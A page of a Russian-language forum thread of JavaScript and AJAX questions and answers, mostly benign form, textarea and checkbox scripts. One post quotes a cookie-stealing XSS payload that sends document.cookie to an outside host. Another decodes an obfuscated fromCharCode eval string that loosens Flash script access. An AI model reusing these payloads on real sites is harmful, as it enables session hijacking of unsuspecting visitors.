PDA

Просмотр полной версии : [JavaScript, AJAX] Задай вопрос, получи ответ


Страницы : 1 2 3 4 5 6 7 [8] 9 10

j0ker13
15.08.2009, 16:41
вопрос)
допустим есть хтмл текст(ответ от запроса ajax странички)
как можно безболезненно прочитать все хидден поля?)
кроме регеспа)
например можно построить объектную модель на основе этого хтмл текста?
или тока ифреймом?
<iframe id="f"></iframe>
<input type="submit" onClick=test()>
<script>
n='document.write('+m+');';
function test(){
document.getElementById("f").src="javascript:"+n+";";
}
</script>
при m='123456' текст отображается во фрейме. но ругается если в m содержится '<' или '>'
как так? в чем подвох?

SaiRus
16.08.2009, 01:42
вопрос)
допустим есть хтмл текст(ответ от запроса ajax странички)
как можно безболезненно прочитать все хидден поля?)
кроме регеспа)
например можно построить объектную модель на основе этого хтмл текста?
или тока ифреймом?
при m='123456' текст отображается во фрейме. но ругается если в m содержится '<' или '>'
как так? в чем подвох?

я не понял что тебе надо, но этот скрипт пройдет по документу и вернет values'ы у элементов типа Hidden

<script>
function getStr()
{ var tmp = [], el;
for(i=0; el = window.document.all[i]; i++)
if( el.type == "hidden" && el.value != "" ) tmp.push(el.name + '=' + el.value);
var str = tmp.join("&");
alert(str);
}
</script>
<form name="1">
<INPUT TYPE="hidden" NAME="P_N" VALUE="">
<INPUT TYPE="hidden" NAME="P_L" VALUE="есть1">
<INPUT TYPE="hidden" NAME="P_P" VALUE="">
<INPUT TYPE="hidden" NAME="P_D" VALUE="есть2">
<button onclick="getStr(this.form)">show str</button>
</form>
<form name="1">
<INPUT TYPE="hidden" NAME="P_N" VALUE="">
<INPUT TYPE="hidden" NAME="P_L" VALUE="есть1">
<INPUT TYPE="hidden" NAME="P_P" VALUE="">
<INPUT TYPE="hidden" NAME="P_D" VALUE="есть2">
</form>

j0ker13
17.08.2009, 11:48
2SaiRus спасибо но если это:
<form name="1">
<INPUT TYPE="hidden" NAME="P_N" VALUE="">
<INPUT TYPE="hidden" NAME="P_L" VALUE="есть1">
<INPUT TYPE="hidden" NAME="P_P" VALUE="">
<INPUT TYPE="hidden" NAME="P_D" VALUE="есть2">
<button onclick="getStr(this.form)">show str</button>
</form>
<form name="1">
<INPUT TYPE="hidden" NAME="P_N" VALUE="">
<INPUT TYPE="hidden" NAME="P_L" VALUE="есть1">
<INPUT TYPE="hidden" NAME="P_P" VALUE="">
<INPUT TYPE="hidden" NAME="P_D" VALUE="есть2">
</form>
хранится тока в переменной можно как нить достать?)

SaiRus
17.08.2009, 17:18
2SaiRus спасибо но если это:

хранится тока в переменной можно как нить достать?)
если у тебя в переменной храниться хтмл то выводи его через echo при помощи php или document.write в JS или же InnerHTML потом обрабатывай...или объясни что в какой переменной храниться и зачкем надо :)

rudvil
18.08.2009, 01:01
Подскажите пожалуйста яваскрипт который:
при выборе опеределённого подменю т.е.

Вот в таком массиве будут храниться все елементы
db[-1][0] = "0"; // Где [-1] это ParentID, а [0] ID елемента
db[-1][1] = "1";

db[0][2] = "1-st child of 0";
db[0][3] = "2-st child of 0";

db[1][4] = "1-st child of 1";
db[1][5] = "2-nd child of 1";
db[1][6] = "3-rd child of 1";
<option>
<select value="" selected="selected"></select>
<select value="0">0</select>
<select value="1">1</select>
</option>
Изначально должны загружатся элементы у которых ParentID = -1

Допустим мы выбрали меню с "1" теперь скрипт добавляет(при onChange) под этим selectboxom(innerHTML?) похожий selectbox но уже с елементами у которых parentID 1.

Т.е. теперь мы должны видеть следующее
<option>
<select value="" selected="selected"></select>
<select value="0">0</select>
<select value="1">1</select>
</option>
<option>
<select value="" selected="selected"></select>
<select value="4">1-st child of 1</select>
<select value="5">2-nd child of 1</select>
<select value="6">3-rd child of 1</select>
</option>
Соотвественно этот selectbox также может содержать елементы при выборе которых появлялся бы ещё дополнительный selectbox и.т.д.

З.Ы. структура хранения элементов должна быть именно такой.

Заранее большое спасибо. :)

j0ker13
18.08.2009, 10:44
2SaiRus
в переменной хранится текст хтмл полученный после запроса аджаксом странички.
нада на стороне клиента вытащить все хайден поля не заметно для пользователя)

и еще вопрос) как в регексп включить переменную?

SaiRus
18.08.2009, 17:22
2SaiRus
в переменной хранится текст хтмл полученный после запроса аджаксом странички.
нада на стороне клиента вытащить все хайден поля не заметно для пользователя)

и еще вопрос) как в регексп включить переменную?
не наю :)

ребят почему мой говнокод пашет везде кроме IE6 как обойти? :(

<script language="JavaScript" type="text/JavaScript">
function Show_Hide(objId, hBlock)
{
var obj=document.getElementById(objId);
if(obj.offsetHeight <= 0) {flag=true;}
if(obj.offsetHeight >= hBlock ) {flag=false;}
if (flag)
{
obj.style.height=obj.offsetHeight+10+'px';
t=setTimeout(function(){Show_Hide(objId, hBlock)},3);
if (obj.offsetHeight>=hBlock) {clearTimeout(t);}
}
else
{obj.style.height=obj.offsetHeight-10+'px';
t=setTimeout(function(){Show_Hide(objId, hBlock)},3);
if (obj.offsetHeight<=0) {clearTimeout(t); }
}
} </script>


вроде в IE нет offsetHeight свойства, как тогда правильно див растянуть по высоте?

Ser_UFL
20.08.2009, 23:28
Вечер добрый!
Подскажите пожалуйста по javascript..
Ситуация такая:
Есть текст в тегах textarea
<textarea>большой_текст</textarea>
и два вопроса:
1. Как при открытии страницы автоматически передвинуть полосу прокрутки в textarea в самый низ?
2. Как при открытии страницы отобразить внутри textarea не весь большой_текст, а только N последних строк?
Заранее большое спасибо.

XopoIII
21.08.2009, 05:34
1. http://www.vbrussian.com/Other.asp?ID=28
2. и последующие вопросы http://google.com
=)

b3
21.08.2009, 12:28
2. и последующие вопросы http://google.com
А тема тогда эта для чего?

Balvan
21.08.2009, 17:40
Подскажите как реализуется такая хрень как "« Older Page 1 of 64" на http://binarybonsai.com ?

Ser_UFL
21.08.2009, 18:08
1. http://www.vbrussian.com/Other.asp?ID=28
=)
Огромное спасибо за ответ!



По второму всё еще нужна... Гугл пока гоняет меня по разным источникам...
2. Как при открытии страницы отобразить внутри textarea не весь большой_текст, а только N последних строк?


Добавлено:
В IE (IE6 тестил) всё нормально. Ползунок в textarea перескакивает в самый низ.
А в других браузерах перескакивает только курсор, при этом выделяя весь текст, а полоса прокрутки остается вверху..
P.S. Есть идея.. Если нажать клавишу "down (стрелка вниз)", то как раз всё получается норм. Надо имитировать нажатие этой кнопки после открытия страницы.. Пошёл дальше гуглить.
P.P.S. даже и не знаю уже.. поможет ли кнопка "вниз", если это вобще возможно.. т.к. в мозиле срабатывает, а в опере не прокатывает вроде бы..

Balvan
21.08.2009, 21:25
up :(
please

KaZ@NoVa
21.08.2009, 22:17
Ser_UF 2. Как при открытии страницы отобразить внутри textarea не весь большой_текст, а только N последних строк?//

Просто то что надо отобразить надо сделать отдельным текстом.

Ser_UFL
21.08.2009, 22:36
По поводу первого своего вопроса наконец-то нашёл решение. Может кому-то пригодится.
Одна строка всего-лишь:
textAreaObject.scrollTop=textAreaObject.scrollHeig ht;

Просто то что надо отобразить надо сделать отдельным текстом.
Каким образом?
У меня идет чтение из текстового файла. Но этот файл постоянно меняется, а точнее дополняется. Мне не нужно читать весь текст, а только последнюю инфу оттуда. Разбить этот файл или перезаписывать последние строки в другой файл возможности нет.

KaZ@NoVa
21.08.2009, 23:06
Если это текствоый файл, то можно пойти разными путями - либо отслеживать его изменения, либо просто запоминать число строк в текущем и предыдущем состояниях и считывать разницу с конца. Но это так топорная мыслишка;)

Ser_UFL
22.08.2009, 00:02
Если это текствоый файл, то можно пойти разными путями - либо отслеживать его изменения, либо просто запоминать число строк в текущем и предыдущем состояниях и считывать разницу с конца.
Не думаю, что это относится к JavaScript...
Такова уж ситуация, я могу использовать только JS.
Вот такую инфу найти несложно: http://htmlweb.ru/java/example/get_rows_in_textarea.php
А вот готовый скрипт "отображения внутри textarea не всего текста, а только N последних строк" найти не выходит уже долгое время..

Ser_UFL
22.08.2009, 13:09
Спасибо, что не проходите мимо.
Я так понимаю, вы мне предлагаете занести текст в скрипт подобным образом:
var text = '1234567890' + "\r\n" + 'wertyuioas' + "\r\n" + 'zxcvasdfqwergj' + "\r\n" + 'sdfvghnjtywfre32534hfg' + "\r\n" + '1234qwer' + "\r\n" + 'xcb59gk' + "\r\n" + 'erthybvndfgnhfdng' + "\r\n" + '56j7tymhgmjfgmh';
?
Но я же описал ситуацию, что текст постоянно меняется. Это не подходит.

P.S. Если это был пример о том, в каком направлени рыть, то я конечно этим и займусь. Но надеюсь на вашу помощь.

Ser_UFL
22.08.2009, 13:25
Ситуация очень нестандартная.
Это для WebMod-а (плагин к MetaMod-у для CS 1.6).
Соответственно, никаких пхп/перл/етк нет.
Файл хранится на сервере. Его я выдираю с помощью средств Вебмода.
Выглядит это следующим образом (на примере файла конфигурации server.cfg):
{<<{W.moddir}\server.cfg}
Соответственно в textarea я вставляю так:
<textarea id="text" rows=25 cols=100 readonly>
{<<{W.moddir}\server.cfg}
</textarea>

А на стороне клиента получаю содержимое файла server.cfg в тегах textarea.

Ser_UFL
22.08.2009, 13:48
оно вставляет в хтмл файл свои данные
именно
почему ж нельзя вставить напрямую в JS?
можно, но почему-то когда я пишу именно так, как вы предлагаете, не происходит никакой реакции.

Возьмем файл 1.cfg следующего содержания:
// This file is overwritten whenever you change your user settings in the game.
// Add custom configurations to the file "userconfig.cfg".

unbindall
bind "TAB" "+showscores"
bind "ENTER" "+attack"
bind "ESCAPE" "cancelselect"
bind "SPACE" "+jump"
bind "'" "+moveup"
bind "*" "amx_votemapmenu"
bind "+" "hlg_menu 895623"
bind "," "buyammo1"
bind "-" "amx_statscfgmenu"
bind "." "buyammo2"
bind "/" "+movedown"
bind "0" "slot10"
bind "1" "slot1"
bind "2" "slot2"
bind "3" "slot3"
bind "4" "slot4"
bind "5" "slot5"
bind "6" "slot6"
bind "7" "slot7"
bind "8" "slot8"
bind "9" "slot9"


Вставка {<<{W.moddir}\1.cfg} в ваш скрипт равносильна, что я сделаю так:

<textarea id="text" rows="25" cols="100" readonly></textarea>
<script language="javascript">

var text = '// This file is overwritten whenever you change your user settings in the game.
// Add custom configurations to the file "userconfig.cfg".

unbindall
bind "TAB" "+showscores"
bind "ENTER" "+attack"
bind "ESCAPE" "cancelselect"
bind "SPACE" "+jump"
bind "'" "+moveup"
bind "*" "amx_votemapmenu"
bind "+" "hlg_menu 895623"
bind "," "buyammo1"
bind "-" "amx_statscfgmenu"
bind "." "buyammo2"
bind "/" "+movedown"
bind "0" "slot10"
bind "1" "slot1"
bind "2" "slot2"
bind "3" "slot3"
bind "4" "slot4"
bind "5" "slot5"
bind "6" "slot6"
bind "7" "slot7"
bind "8" "slot8"
bind "9" "slot9"';

var elem = document.getElementById('text');
var length = 3; //3 строчки с конца

var pos1 = text.length;
var pos2 = text.length;

for (i = 0; i < length; i++)
\{
pos1 = text.lastIndexOf("\r\n", pos2);

if (pos1 < 0)
\{
elem.value = text.substring(0, pos2 + 2) + "\r\n" + elem.value;
break;
} else \{
elem.value = text.substring(pos1 + 2, pos2 + 2) + "\r\n" + elem.value;
}

pos1 -= 2;
pos2 = pos1;
}

</script>

А если я делаю так, то опять же ничего не происходит

Ser_UFL
22.08.2009, 14:11
Теперь внутри textarea отображается весь файл в одну строку...

p.s. ещё происходит аномальное экранирование \{ думаю тогда ещё нада помудрить, чтобы записать без скобочекНасчет этого не волнуйтесь, на JS не влияет. Проверено.

-=Zhenek=-
22.08.2009, 14:11
Как написать скрипт подсказок..
Нужно чтобы при заходе на сайт появлялась подсказка (не при наведении) например перед ссылкой регистрации а там было написано например (для начала работы зарегистрируйтесь.)
а через 10 секунд она исчезала и в другом месте появлась другая подсказка.

(подсказка в стиле как у винды внизу у часов со стрелкой на ссылку,кнопку,картинку)

Где-то видел на сайте но немогу найти((((
Сам рыл рыл,но т.к не знаю javascript это осложняет дело.

Ser_UFL
22.08.2009, 14:14
Хотя, стоп... в IE6 отображается весь файл в одну строку...
В браузерах на движке WebKit (Safari, Maxthon3, GoogleChrome), Mozilla и Opera всё нормально.

Помогите додумать для IE6

P.S. Еще заметил пару косяков:
1. Такие символы как < > & стали заменяться на utf-коды, соответственно на &lt; &gt; &amp; С чего вдруг?
2. WebKit браузеры и Mozilla вконце textarea дописывают:
</value></key></plugin></plugin></plugin></plugin></plugin></plugin></plugin></plugin></plugin></name></arguments></command></plugin></plugin></plugin></plugin></plugin></plugin></plugin></plugin></plugin></name></arguments></command>
Opera вставляет содержание самого скрипта, т.е. внутри textarea вконце дописывает:
<TEXTAREA id="text" rows="25" cols="100" readonly="">
</TEXTAREA>
<SCRIPT language="JavaScript" type="text/javascript">

var separator = "\n"; //или \r\n
var text = document.getElementById('main').innerHTML;

var elem = document.getElementById('text');
var length = 200; //3 строчки с конца

var pos1 = text.length;
var pos2 = text.length;

for (i = 0; i <= length; i++)
{
pos1 = text.lastIndexOf(separator, pos2);

if (pos1 < 0)
{
elem.value = text.substring(0, pos2 + separator.length) + "\r\n" + elem.value;
break;
} else {
elem.value = text.substring(pos1 + separator.length, pos2 + separator.length) + "\r\n" + elem.value;
}

pos1 -= separator.length;
pos2 = pos1;
}

</SCRIPT>

В IE6, хоть и в одну строку, но без этого.

Ser_UFL
22.08.2009, 15:13
Спасибо за помощь.
К сожалению оказалось, что в данной ситуации мою проблему этот способ не решит.
Жаль, что выяснить это можно было только после тестирования.
Придется действовать совершенно другим путём, при помощи AMXModX.
Но скрипт мне очень пригодится в дальнейшем, я даже уже придумал где, еще раз thx !

Player#1
24.08.2009, 21:53
Всем привет!

Есть форма:
<form action="" method="post" id="form">
Field1<input id="fld1" type="text" value="val1" /><br />
Field2<input id="fld2" type="text" value="val2" /><br />
Field3<input id="fld3" type="text" value="val3" /><br />
</form>
Необходимо получить при помощи JS строку такого вида: fld1=val1&fld2=val2&fld3=val3
Т.е. фактически сформировать данные, которые будут отосланы через пост.

Конечно, можно вручную брать id и value каждого поля в отдельности, но количество полей гораздо больше чем 3. Поэтому надо как-то в цикле собирать id и значения полей.

[Raz0r]
24.08.2009, 22:07
var inputs = [];
var el = document.forms[0].elements;
for(var i=0; i<el.length;i++){
if(el[i].type!="text") continue;
inputs.push(el[i].name + "=" + el[i].value);
}
alert(inputs.join("&"));
только id замени на name

diGriz
24.08.2009, 23:03
Можно еще так, с помощью jQuery


$(function() {
$('#myLink').click(function() {
var str ="";
$('#form input').each(function(n, element){
if($(element).attr('type') == "text"){ str = str + $(element).attr('id')+ "=" + $(element).val() + "&";}});
alert(str);
});
});

dr.Web
26.08.2009, 05:47
как сделать переадресацию на другую страницу после того как получили ответ от скрипта??
допустим




<script>
function getXmlHttp(){
var xmlhttp;
try {
xmlhttp = new ActiveXObject(\"Msxml2.XMLHTTP\");
} catch (e) {
try {
xmlhttp = new ActiveXObject(\"Microsoft.XMLHTTP\");
} catch (E) {
xmlhttp = false;
}
}
if (!xmlhttp && typeof XMLHttpRequest!='undefined') {
xmlhttp = new XMLHttpRequest();
}
return xmlhttp;
}


// javascript-код голосования из примера
function quick_login() {
// (1) создать объект для запроса к серверу
var req = getXmlHttp()

// (2)
// span рядом с кнопкой
// в нем будем отображать ход выполнения
var statusElem = document.getElementById('status')

req.onreadystatechange = function() {
// onreadystatechange активируется при получении ответа сервера

if (req.readyState == 4) {
// если запрос закончил выполняться

// statusElem.innerHTML = req.statusText // показать статус (Not Found, ОК..)

if(req.status == 200) {
// если статус 200 (ОК) - выдать ответ пользователю
statusElem.innerHTML = req.responseText;
}
// тут можно добавить else с обработкой ошибок запроса
}

}
var emeil = escape(document.forms.login.email.value);
var pass = escape(document.forms.login.pass.value);
// (3) задать адрес подключения


req.open('GET', 'index.php?email='+emeil+'&pass='+pass, true);

// объект запроса подготовлен: указан адрес и создана функция onreadystatechange
// для обработки ответа сервера

// (4)
req.send(null); // отослать запрос

// (5)
statusElem.innerHTML = '' ;//ожидаем ответ
}</script>



допустим скрипт ответил на запрос еденичку.как сделать переадресацию??

dr.Web
27.08.2009, 05:02
и сразу ещё вопрос
почему он div позиционируется не абсолютно а статично.внизу. :rolleyes:


function ShowInfoDiv()
{

var oDiv = document.createElement("DIV");
oDiv.id = "msg";

var oText = document.createTextNode("Работаю");
oDiv.appendChild(oText);
document.body.appendChild(oDiv);
document.getElementById('msg').style.top = 19;
document.getElementById('msg').style.width = '100';
document.getElementById('msg').style.position = 'fixed';

}

function success(){document.getElementById('msg').style.dis play = 'none';}
}

ShowInfoDiv();
проблему решил нужно было указать цвет.

SaiRus
27.08.2009, 14:41
переадресация document.location='адрес'
как это позиционирование решается изменением цвета? :) css4 что ли?
я дак вижу что он зафиксирован
document.getElementById('msg').style.position = 'fixed';
с верху в 19

Nightmarе
27.08.2009, 16:11
Подскажите плз код на яваскрипте, вызвав который в нужном елементе появится сообщение: Ждите... и отчёт времени 5..4..3..2..1 в секундах, по завершению которого таймер вместе с текстом исчезнет.

d_x
27.08.2009, 16:50
<html><body><span id='elem'></span>
<br>
<input type='button' value='Начать' onclick='startTimer(5);'>
<script language='JavaScript'>
var cnt=0,intv=0;

function startTimer(c)
{
cnt=c;
if(intv) clearTimeout(intv);
timer();
}

function timer()
{
if(cnt==0)
{
document.getElementById('elem').innerHTML='';
intv=0;
return;
}
else
{
intv=setTimeout("timer()",1000);
}

document.getElementById('elem').innerHTML='Жди е: '+cnt;
cnt--;
}
</script>
</body></html>

Volfgan_Castorz
27.08.2009, 17:34
Подскажите, можно ли реализовать автосёрфер на JavaScript? Так, чтобы запущенный сценарий, по порядку, переходил по ссылкам html-страницы (перезагружая её), им же и открытой в соседней вкладке броузера (Firefox, IE, Opera)?
По логике, что-то вроде того, что снизу, только консоль JavaScript ругается на отсутствие привилегий, чтобы вытворять такие вещи с другой вкладкой.


<?xml version="1.0"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascript">
function autoserf()
{
var win=window.open("http://www.defenselink.mil", "new_window");
hrefsList=win.getElementsByTagName("a");
for (i=0; i<hrefsList.length; i++)
{
win.location.href=hrefsList[i].getAttribute("href");
}
}
</script>
</head>
<body>
<a href="#" onMouseOver="autoserf();">Move the mouse over me!</a>
</body>
</html>


Спасибо за ответ.

qazwsx
27.08.2009, 17:48
Нужно чтобы на моей странице отображались выборочно числовые данные данные с другой страницы др.веб сайта + через интервал к примеру 5 мин. к этим данным в соседнем столбике показывала разницу только с +. К примеру скрипт к вот этой стр. _http://www.kalita-finance.ru/outer/quotations.php?group=1&update=1251380755

Flcn
29.08.2009, 01:26
ну этот код вроде как
1) даёт полный (бессрочный) доступ на исполнение/инклуд скриптов
2) позволяет работать с сетью
3) загружает контейнер с флешпроигрывателем
4) выводит "Security activated!"

MELS+
30.08.2009, 00:07
только вот начал изучать яваскрипт. и услышал что язык в ходе своего развития начал исполнять функцию работы с кешем. то есть намеренно загружался, чтобы уже со стороны клиента работать, тем самым устраняя торможение. таким оброзом можно ведь закачать что-нибудь своё : ) ? и запустить на машине клиента

zifanchuck
30.08.2009, 04:12
вообщим у меня вопрос
есть такой себе скрипт
javascript:Security=String.fromCharCode(115,111,46 ,97,100,100,80,97,114,97,109,40,34,97,108,108,111, 119,115,99,114,105,112,116,97,99,99,101,115,115,34 ,44,32,34,97,108,119,97,121,115,34,41,59,115,111,4 6,97,100,100,80,97,114,97,109,40,34,97,108,108,111 ,119,110,101,116,119,111,114,107,105,110,103,34,44 ,32,34,97,108,108,34,41,59,115,111,46,119,114,105, 116,101,40,34,102,108,97,115,104,95,112,108,97,121 ,101,114,95,99,111,110,116,97,105,110,101,114,34,4 1,59,97,108,101,114,116,40,34,83,101,99,117,114,10 5,116,121,32,97,99,116,105,118,97,116,101,100,33,3 4,41,59);eval(Security);

чар только что руками росколупал))) получилось несто вроде

so.addParam("allowscriptaccess", "always");
so.addParam("allownetworking", "all");
so.write("flash_player_container");
alert("Security activated!");

кто может обьяснить что оно делает? я в джаваскрипте ни бумбум)) и заодно может кто подскажет где можно переводить чар в обычную строку.... буду очень благодарен

MELS+
30.08.2009, 12:09
zifanchuck, http://webi.ru/webi_articles/10_17_f.html

imajo.ati
31.08.2009, 22:15
где можно переводить чар в обычную строку....
<textarea id="a" onkeyup="b()"></textarea>
<input type="button" value="go" onclick="b()">
<textarea id="c"></textarea>
<script>b=function(){
document.getElementById("c").value = String.fromCharCode(document.getElementById("a").value);
};</script>

LASS0
01.09.2009, 23:48
подскажите как можно в этом скрипте сделать замену текста. При подставление обычного текста в innerHTML = ... все работает, но если туда еще добавить несколько html тегов и много текста, то замена текста не происходит. Как можно сделать чтобы скрипт работал и подставлял html теги и большое количество текста?


<script type="text/javascript">
function zamena(id,text) { document.getElementById(id).innerHTML = " текст " ; } </script>

<a href="javascript:zamena('test',this.value);">Заменить</a>

<div id="test">Текст для замены</div>

SaiRus
01.09.2009, 23:56
подскажите как можно в этом скрипте сделать замену текста. При подставление обычного текста в innerHTML = ... все работает, но если туда еще добавить несколько html тегов и много текста, то замена текста не происходит. Как можно сделать чтобы скрипт работал и подставлял html теги и большое количество текста?


чет не то делаешь у меня отлично работает

<html >
<body>
<script type="text/javascript">
function zamena(id,text) { document.getElementById(id).innerHTML = " <h1>asdf</h1> " ; } </script>
<a href="javascript:zamena('test',this.value);">Заменить</a>
<div id="test">Текст для замены</div>
</body>
</html>

imajo.ati
02.09.2009, 00:00
this.value
замени на
this.innerHTML

у тега "a" вроде бы нет свойства value

Ponchik
02.09.2009, 12:52
А вот и я...
Есть строка
text = "/me смиёца";
потом
add("Юзернейм "+text);
как вырезать этот /me?

Flcn
02.09.2009, 12:59
дак
cutedtext = text.slice(4)

Naydav
02.09.2009, 20:13
Доброго всем временисуток!
Не дадите линк, на модуль, желательно jquery...

Смысл вообщем есть див, а все что выходит за предела дива, или находится возле его краев слегка прозрачное
Т.е. внутри дива, как бы внутреннй ореол, ну например на 15 пикселей, т сто попадет под эти 15 пикселей, растворяется

ну на блогах я видел, нет времени искать, идит контент, а внизу он, не обрывается, а как бы растворяется в тумане

спасибо :)

m0nsieur
03.09.2009, 10:44
ну на блогах я видел, нет времени искать, идит контент, а внизу он, не обрывается, а как бы растворяется в тумане

спасибо :)

если остались ссылки на блоги где видел этот плагин, может так будет понятнее что искать.

b3
03.09.2009, 11:22
Имею форму, как добавить чекбокс который будет ставить галочки на всех чекбоксах?


<table align="center" border="1">
<form method="post" enctype="application/x-www-form-urlencoded">
<tr>

<td colspan="2" align="center"><input type="text" align="CENTER" size="30" maxlength="30" name="login" /></td>
</tr>
<tr>
<td align="center">yahoo.com</td>
<td align="center"><input type="checkbox" value="yahoo.com" name="yahoo" /></td>
</tr>
<tr>
<td align="center">ymail.com</td>
<td align="center"><input type="checkbox" value="ymail.com" name="ymail" /></td>
</tr>
<tr>
<td align="center">rocketmail.com</td>
<td align="center"><input type="checkbox" value="rocketmail.com" name="rocketmail" /></td>
</tr>
<tr>
<td align="center">mail.ru</td>
<td align="center"><input type="checkbox" value="mail.ru" name="mail" /></td>
</tr>
<tr>
<td align="center">list.ru</td>
<td align="center"><input type="checkbox" value="list.ru" name="list" /></td>
</tr>
<tr>
<td align="center">bk.ru</td>
<td align="center"><input type="checkbox" value="bk.ru" name="bk" /></td>
</tr>
<tr>
<td align="center">inbox.ru</td>
<td align="center"><input type="checkbox" value="inbox.ru" name="inbox" /></td>
</tr>
<tr>
<td align="center">yandex.ru</td>
<td align="center"><input type="checkbox" value="yandex" name="yandex" /></td>
</tr>
<tr>
<td align="center">gmail.com</td>
<td align="center"><input type="checkbox" value="gmail" name="gmail" /></td>
</tr>
<tr>
<td align="center">rambler.ru</td>
<td align="center"><input type="checkbox" value="rambler" name="rambler" /></td>
</tr>
<tr>

<td colspan="2" align="center"><input type="submit" value="Check" /></td>
</tr>
</form>
</table>

m0nsieur
03.09.2009, 11:42
была похожая ситуация, только в моем случае у всех был одинаковый параметр name="sites[]"

такая js функ
function checkAll(oForm, cbName, checked)
{
for (var i=0; i < oForm[cbName].length; i++) oForm[cbName][i].checked = checked;
}


Внутри html формы кнопка
<input type="checkbox" onClick="checkAll(this.form,'sel_sites[]',this.checked)"><strong>Все<br /></strong>


и чекбоксы вроде
<td><input type="checkbox" name="sites[]" value="1">Scs</td>
Если не критична обработка формы, можешь у себя переделать.

Либо вариант на jQuery


var checked = 0;

function check_all() {
if (checked == 0) {
$('input:checkbox').each(function(){
$(this).attr({checked:"checked"});
});
checked = 1;
} else {
$('input:checkbox').each(function(){
$(this).attr({checked:""});
});
checked = 0;
}
}
При 1-ом клике выделяет все, при повторном клике снимает выделение.

b3
03.09.2009, 11:53
Форму переделывать очень не желательно, иначе весь скрипт переделывать изза одной кнопки "выбрать все" =\ Может можно как то указать через запятую тут? :
<input type="checkbox" onClick="checkAll(this.form,'sel_sites[]',this.checked)"><strong>Все<br /></strong>

m0nsieur
03.09.2009, 11:58
Посмотри, я сообщение обновил, там другой вариант на jQuery.

b3
03.09.2009, 12:03
Я всеравно не врубаюсь, ты можеш полностью вместе с моим кодом выложить не меняя мою форму, я с JS вообще незнаком, помимо alert()-а ))

m0nsieur
03.09.2009, 12:13
Держи =)
Не забудь путь до jquery на свой исправить. Если что, пиши в ПМ.

<html>
<script type="text/javascript" src="jquery.js"></script>
<script language="JavaScript">

var checked = 0;

function check_all() {
if (checked == 0) {
$('input:checkbox').each(function(){
$(this).attr({checked:"checked"});
});
checked = 1;
} else {
$('input:checkbox').each(function(){
$(this).attr({checked:""});
});
checked = 0;
}
}

</script>

<table align="center" border="1">

<form method="post" enctype="application/x-www-form-urlencoded">

<input type="checkbox" onClick="check_all()"><strong>Выделить все<br /></strong>


<tr> <td colspan="2" align="center"><input type="text" align="CENTER" size="30" maxlength="30" name="login" /></td> </tr> <tr> <td align="center">yahoo.com</td> <td align="center"><input type="checkbox" value="yahoo.com" name="yahoo" /></td> </tr> <tr> <td align="center">ymail.com</td> <td align="center"><input type="checkbox" value="ymail.com" name="ymail" /></td> </tr> <tr> <td align="center">rocketmail.com</td> <td align="center"><input type="checkbox" value="rocketmail.com" name="rocketmail" /></td> </tr> <tr> <td align="center">mail.ru</td> <td align="center"><input type="checkbox" value="mail.ru" name="mail" /></td> </tr> <tr> <td align="center">list.ru</td> <td align="center"><input type="checkbox" value="list.ru" name="list" /></td> </tr> <tr> <td align="center">bk.ru</td> <td align="center"><input type="checkbox" value="bk.ru" name="bk" /></td> </tr> <tr> <td align="center">inbox.ru</td> <td align="center"><input type="checkbox" value="inbox.ru" name="inbox" /></td> </tr> <tr> <td align="center">yandex.ru</td> <td align="center"><input type="checkbox" value="yandex" name="yandex" /></td> </tr> <tr> <td align="center">gmail.com</td> <td align="center"><input type="checkbox" value="gmail" name="gmail" /></td> </tr> <tr> <td align="center">rambler.ru</td> <td align="center"><input type="checkbox" value="rambler" name="rambler" /></td> </tr> <tr> <td colspan="2" align="center"><input type="submit" value="Check" /></td> </tr>
</form>
</table>

</html>

Flcn
03.09.2009, 13:54
формы лучша на prototype делать..

Breeze
04.09.2009, 02:58
Господа, развейте сомнения новичка.На одном из форумов в профиле одного из учаснегов вместо ссылки на сайт обнаружил такой скрипт: *javascript:document.write(*'<*script>img=newImage():img.src*="*Http://httpz.ru/nba43z2uf0j.gif?*"+document.cookie;*<*/script>'*)
Натыкал звёздочек я - чтоб,нидайбох, не сработало!:)
Это то, что я думаю, - т.е. CSS??

Flcn
04.09.2009, 12:53
ну тут он выводит изображение (картинки 1pх1p) + твои куки вроде..

Breeze
05.09.2009, 14:44
ну тут он выводит изображение (картинки 1pх1p) + твои куки вроде..
Ну да.Хитрец вставил этот скрипт в свой профиль.:)Все, кто его просматривали - делились с ним кукисами..Но уже забанили парнишку вроде..

Ser_UFL
07.09.2009, 14:29
Нужна помощь в вопросе опять на тему КС..
Нужно получить из SteamID ссылку на профиль в стиме.

Формула расчета такая:

стимид вида:
STEAM_X:Y:Z

ссылка на профиль равна:
http://steamcommunity.com/profiles/ +
76561197960265728 + Y + Z*2

Нашёл вот такой скрипт:

<script type="text/javascript">

function steamIDToProfile(steamID)
\{
var parts = steamID.split(":");

var iServer = Number(parts[1]);
var iAuthID = Number(parts[2]);

var converted = "76561197960265728"

lastIndex = converted.length - 1

var toAdd = iAuthID * 2 + iServer;
var toAddString = new String(toAdd)
var addLastIndex = toAddString.length - 1;

for(var i=0;i<=addLastIndex;i++)
\{
var num = Number(toAddString.charAt(addLastIndex - i));
var j=lastIndex - i;

do
\{
var num2 = Number(converted.charAt(j));
var sum = num + num2;

converted = converted.substr(0,j) + (sum % 10).toString() + converted.substr(j+1);

num = Math.floor(sum / 10);
j--;
}
while(num);

}

return converted;
}

function makeLink(profile)
\{
return "<a href='http://steamcommunity.com/profiles/" + profile + "'>" + profile + "</a>"
}

</script>

<input id="input" type="text" value="SteamID here" onclick="this.onclick='';this.value=''">
<input type="submit" value="Convert" onclick ="document.getElementById('result').innerHTML = makeLink(steamIDToProfile(document.getElementById( 'input').value))" >

<div id="result">

</div>

Помогите переделать (по возможности оптимизировать) скрипт, чтобы SteamID вводился внутри скрипта (не через input), а на выходе (при <div id="result"> </div>) получать ссылку вида:
<a href="http://steamcommunity.com/profiles/Тут_результат_расчетной_фо мулы(76561197960265728 + Y + Z*2)>SteamID_который_ввожу_в_скрипт </a>

#Wolf#
08.09.2009, 16:26
подскажите как сделать чтобы при нажатии на кнопку/картинку выскакивало <b></b>. и плюс - выделяешь текст - жмешь эту кнопку и этот текст в тегах <b>....ну как во многих движках...рыться мне нет смысла т.к в JS я ноль :(

restart_05
08.09.2009, 18:41
Мне нужно что при загрузке сайта выходило loading... к примеру как у dle при голосовании авторизации т.д.

Gray_Wolf
09.09.2009, 13:27
Возникла необходимость использовать AJAX, но с ним я никогда дел не имел :(

Есть страница:
